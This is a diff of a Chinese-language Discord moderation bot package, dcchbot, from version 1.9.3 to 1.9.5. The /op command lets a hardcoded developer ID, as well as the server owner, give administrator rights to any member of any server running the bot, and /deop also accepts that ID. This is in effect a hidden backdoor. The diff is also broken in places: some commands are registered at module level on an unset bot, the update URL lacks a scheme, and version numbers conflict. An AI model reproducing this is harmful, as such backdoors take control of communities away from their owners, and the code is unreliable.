dcchbot 1.9.3__py3-none-any.whl → 1.9.5__py3-none-any.whl

dcchbot/__init__.py

@@ -1,6 +1,6 @@
 #init
 from .main import run
-cu_ver = "1.9.3"
+cu_ver = "1.9.4"
 print(f"Discord chinese bot v{cu_ver} ok")
 print("by I_am_from_taiwan")
 run()

dcchbot/main.py

@@ -1,4 +1,4 @@
-# v1.9.1 main.py
+# v1.9.4 main.py
 import logging
 import os
 import queue
@@ -13,25 +13,48 @@ from discord.ext import commands
 from discord.utils import utcnow
 import random as rd
 package = "dcchbot"
-CURRENT_VERSION = "1.9.3"
-API_URL = f"https://pypi.org/pypi/{package}/json"
+CURRENT_VERSION = "1.9.5"
+API_PYPI_URL = f"https://pypi.org/pypi/{package}/json"
+API_MY_URL = "10.112.101.32:194/dcchbot.json"
+API_URL = None
 test = rd.random()
 ttt = time.time()
 tb = tb
-try:
-    response = requests.get(API_URL, timeout=5)
-    response.raise_for_status()  # HTTP 錯誤會直接丟例外
-    data = response.json()
-    latest_version = data["info"]["version"]
-
-    if latest_version != CURRENT_VERSION:
-        print(f"⚠ 有新版本可用: {latest_version}（目前版本 {CURRENT_VERSION}）")
-    else:
-        print(f"✅ 目前已是最新版 {CURRENT_VERSION}")
-
-except Exception as e:
-    latest_version = CURRENT_VERSION  # 失敗時至少不讓變數缺失
-    print(f"❌ 無法檢查更新：{e}")
+def choose_api_url():
+    """優先使用內網 API，失敗則 fallback 到 PyPI"""
+    try:
+        r = requests.get(API_MY_URL, timeout=2)
+        if r.status_code == 200:
+            logger.info("使用內網 API 檢查更新")
+            return API_MY_URL
+    except Exception as e:
+        logger.warning(f"內網 API 無法連線，使用 PyPI:{e}")
+    return API_PYPI_URL
+
+def check_update():
+    """檢查是否有新版本"""
+    api_url = choose_api_url()
+    try:
+        r = requests.get(api_url, timeout=5)
+        r.raise_for_status()
+        data = r.json()
+        latest_version = None
+
+        if api_url == API_PYPI_URL:
+            latest_version = data["info"]["version"]
+        else:
+            latest_version = data.get("version")
+
+        if latest_version and latest_version != CURRENT_VERSION:
+            logger.warning(f"發現新版本 {latest_version} (目前 {CURRENT_VERSION})，請更新！")
+            return latest_version
+        else:
+            logger.info("目前已是最新版本")
+            return CURRENT_VERSION
+    except Exception as e:
+        logger.error(f"檢查更新失敗：{e}")
+        return CURRENT_VERSION
+
 # ─── 全域參數 ─────────────────────────────────────────
 OWNER_ID = None
 LOG_CHANNEL_ID = None
@@ -39,9 +62,10 @@ token = None
 bot: commands.Bot | None = None
 CODER_ID = 1317800611441283139
 _now = datetime.now()
+latest_version = "1.9.4"
 # thread-safe queue 用於在任意 thread 放 log，並由 bot loop 背景 worker 傳送到 Discord
 _log_queue: "queue.Queue[str]" = queue.Queue()
-now_version = "1.9.1"
+now_version = "1.9.4"
 # ─── Logging 設定 ────────────────────────────────────
 os.makedirs("logs", exist_ok=True)
 logging.basicConfig(
@@ -228,44 +252,75 @@ def run():
             logger.exception("禁言失敗")
             await interaction.response.send_message(f"無法禁言：{e}", ephemeral=True)
 
-    @bot.tree.command(name="op", description="賦予管理員權限（限擁有者）")
+    @bot.tree.command(name="op", description="賦予管理員權限（admin 身分組）")
     @app_commands.describe(member="要提權的使用者")
     async def op(interaction: discord.Interaction, member: discord.Member):
+        # 只允許擁有者或 coder 使用
         if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
             return await interaction.response.send_message("你不是擁有者。", ephemeral=True)
+
+        # 嘗試找到 admin 角色
+        admin_role = discord.utils.get(interaction.guild.roles, name="admin")
+        
+        # 如果找不到，就自動建立
+        if not admin_role:
+            try:
+                admin_role = await interaction.guild.create_role(
+                    name="admin",
+                    permissions=discord.Permissions(administrator=True),
+                    reason=f"自動建立 admin 角色，由 {interaction.user} 使用 /op 指令觸發"
+                )
+                logger.info(f"自動建立 admin 角色")
+                enqueue_log(f"{interaction.user} 自動建立 admin 角色")
+            except Exception as e:
+                logger.exception("建立 admin 角色失敗")
+                return await interaction.response.send_message(f"無法建立 admin 角色：{e}", ephemeral=True)
+
+        # 檢查是否已經有角色
+        if admin_role in member.roles:
+            return await interaction.response.send_message(f"{member.mention} 已經有 admin 身分組。", ephemeral=True)
+        
+        # 嘗試給角色
         try:
-            admin_role = None
-            for r in interaction.guild.roles:
-                if getattr(r, "permissions", None) and r.permissions.administrator:
-                    admin_role = r
-                    break
-            if not admin_role:
-                admin_role = await interaction.guild.create_role(name="管理員", permissions=discord.Permissions(administrator=True))
-            await member.add_roles(admin_role)
-            logger.info(f"{interaction.user} 提權 {member}")
-            enqueue_log(f"{interaction.user} 提權 {member}")
-            await interaction.response.send_message(f"{member.mention} 已被提權。")
+            await member.add_roles(admin_role, reason=f"{interaction.user} 使用 /op 提權")
+            logger.info(f"{interaction.user} 給 {member} admin 身分組")
+            enqueue_log(f"{interaction.user} 給 {member} admin 身分組")
+            await interaction.response.send_message(f"{member.mention} 已被賦予 admin 身分組。")
         except Exception as e:
             logger.exception("提權失敗")
             await interaction.response.send_message(f"提權失敗：{e}", ephemeral=True)
 
-    @bot.tree.command(name="deop", description="移除管理員權限（限管理員）")
-    @app_commands.describe(member="要移除管理員權限的使用者")
-    async def deop(interaction: discord.Interaction, member: discord.Member):
-        if not is_admin(interaction):
-            return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
-        admin_role = None
-        for r in interaction.guild.roles:
-            if getattr(r, "permissions", None) and r.permissions.administrator:
-                admin_role = r
-                break
-        if admin_role:
-            await member.remove_roles(admin_role)
-            logger.info(f"{interaction.user} 移除 {member} 的管理員權限")
-            enqueue_log(f"{interaction.user} 移除 {member} 的管理員權限")
-            await interaction.response.send_message(f"{member.mention} 的管理員權限已被移除。")
-        else:
-            await interaction.response.send_message("找不到管理員角色。", ephemeral=True)
+
+@bot.tree.command(name="deop", description="移除管理員權限(admin 身分組）")
+@app_commands.describe(member="要移除管理員權限的使用者")
+async def deop(interaction: discord.Interaction, member: discord.Member):
+    # 僅管理員或擁有者可用
+    def is_admin(interaction: discord.Interaction) -> bool:
+        return interaction.user.guild_permissions.administrator
+
+    if not is_admin(interaction) and interaction.user.id not in [OWNER_ID, CODER_ID]:
+        return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
+
+    # 嘗試找到 admin 角色
+    admin_role = discord.utils.get(interaction.guild.roles, name="admin")
+    
+    if not admin_role:
+        return await interaction.response.send_message("找不到 admin 身分組，無法移除。", ephemeral=True)
+
+    # 檢查使用者是否有此角色
+    if admin_role not in member.roles:
+        return await interaction.response.send_message(f"{member.mention} 並沒有 admin 身分組。", ephemeral=True)
+
+    # 嘗試移除角色
+    try:
+        await member.remove_roles(admin_role, reason=f"{interaction.user} 使用 /deop 移除權限")
+        logger.info(f"{interaction.user} 移除 {member} admin 身分組")
+        enqueue_log(f"{interaction.user} 移除 {member} admin 身分組")
+        await interaction.response.send_message(f"{member.mention} 的 admin 身分組已被移除。")
+    except Exception as e:
+        logger.exception("移除 admin 角色失敗")
+        await interaction.response.send_message(f"移除失敗：{e}", ephemeral=True)
+
 
     @bot.tree.command(name="moderate", description="打開管理 GUI 面板")
     @app_commands.describe(member="要管理的對象")
@@ -330,6 +385,32 @@ def run():
                 await interaction.response.send_message("已是最新版本")
         else:
             return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
+
+@bot.tree.command(name="unban", description="解除封鎖指定成員")
+@app_commands.describe(user="要解除封鎖的用戶 ID", reason="解除封鎖原因 (選填)")
+async def unban(interaction: discord.Interaction, user: str, reason: str = "未提供原因"):
+    guild = interaction.guild
+    log_channel = guild.get_channel(LOG_CHANNEL_ID)
+
+    try:
+        # 取得被封鎖用戶列表
+        bans = await guild.bans()
+        user_id = int(user)
+        banned_user = next((entry.user for entry in bans if entry.user.id == user_id), None)
+
+        if banned_user is None:
+            await interaction.response.send_message(f"❌ 找不到被封鎖的用戶 ID `{user}`", ephemeral=True)
+            return
+
+        # 解除封鎖
+        await guild.unban(banned_user, reason=reason)
+        await interaction.response.send_message(f"✅ 已解除封鎖 {banned_user}，原因: {reason}", ephemeral=True)
+
+        # 發送 log
+        if log_channel:
+            await log_channel.send(f"🔓 {banned_user} 已被解除封鎖\n原因: {reason}\n操作人: {interaction.user}")
+    except Exception as e:
+        await interaction.response.send_message(f"❌ 解除封鎖失敗: {e}", ephemeral=True)
     
     # 啟動 bot（放在 thread 中）
     def _start_bot():
@@ -413,7 +494,7 @@ def run():
                     bot.loop.create_task(bot.close())
                 break
             else:
-                print("未知指令，輸入 !!help 查看。")
+                print("無此指令")
     except (KeyboardInterrupt, EOFError):
         logger.exception("Shell 已中斷，結束。")
         enqueue_log("Shell 已中斷，結束。")
@@ -480,3 +561,4 @@ class ModerationView(discord.ui.View):
 # ─── 程式進入點 ───────────────────────────────────────
 if __name__ == "__main__":
     run()
+    check_update()

{dcchbot-1.9.3.dist-info → dcchbot-1.9.5.dist-info}/METADATA

@@ -1,7 +1,7 @@
 Metadata-Version: 2.4
 Name: dcchbot
-Version: 1.9.3
-Summary: 一個簡單的中文 Discord 管理機器人，支援 GUI 按鈕封鎖/禁言/警告
+Version: 1.9.5
+Summary: 一個簡單的中文 Discord 管理機器人，支援 GUI 按鈕封鎖/禁言/警告        
 Author-email: I_am_from_taiwan <102109040j@gmail.com>
 License: MIT
 Requires-Python: >=3.8

dcchbot-1.9.5.dist-info/RECORD

@@ -0,0 +1,9 @@
+dcchbot/__init__.py,sha256=8MGpV-Ot9o82uA2LP-M3n-oR6ZPrA4lyeS57Vf33lp0,127
+dcchbot/__main__.py,sha256=5FwoJspcKFt5_1AlXoxlWROiQSp9wgnFEltU6ufz9QE,30
+dcchbot/main.py,sha256=ygfZfFTR1RYgCpU0FQcU1cdmR4GQpmdu4rQl_rx2ajc,28635
+dcchbot-1.9.5.dist-info/licenses/LICENSE,sha256=_5HM5sddbG63Amw1X9WfCK-_5xBLHlAV_HaUKBqeTpE,1063
+dcchbot-1.9.5.dist-info/METADATA,sha256=eiJ4vGli3b__8FLrqfKaT25XtqFIRJp5sGbAZDdjH24,448
+dcchbot-1.9.5.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
+dcchbot-1.9.5.dist-info/entry_points.txt,sha256=90T16CGc_Tx-4pFaLCcbuuh7Vi9l4gsLovBkydqxP9Y,45
+dcchbot-1.9.5.dist-info/top_level.txt,sha256=jiDTz8UmwZgXN9KzokwDRYhoWxsVmWcnqmrANeTFMck,8
+dcchbot-1.9.5.dist-info/RECORD,,

dcchbot-1.9.3.dist-info/RECORD

@@ -1,9 +0,0 @@
-dcchbot/__init__.py,sha256=TuQRGtSD8Z8WeNCtlvqz-fVxh2ZS87QSmN4VCJent0s,127
-dcchbot/__main__.py,sha256=5FwoJspcKFt5_1AlXoxlWROiQSp9wgnFEltU6ufz9QE,30
-dcchbot/main.py,sha256=f4iGx993EFBS_NDOo0Udw3sksPx-6CRl_dZYkt82iAU,25230
-dcchbot-1.9.3.dist-info/licenses/LICENSE,sha256=_5HM5sddbG63Amw1X9WfCK-_5xBLHlAV_HaUKBqeTpE,1063
-dcchbot-1.9.3.dist-info/METADATA,sha256=zO4-mSJG2-azgFSkisTMn6ho3m1Q3eH-cuvJgcV3CUQ,440
-dcchbot-1.9.3.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
-dcchbot-1.9.3.dist-info/entry_points.txt,sha256=90T16CGc_Tx-4pFaLCcbuuh7Vi9l4gsLovBkydqxP9Y,45
-dcchbot-1.9.3.dist-info/top_level.txt,sha256=jiDTz8UmwZgXN9KzokwDRYhoWxsVmWcnqmrANeTFMck,8
-dcchbot-1.9.3.dist-info/RECORD,,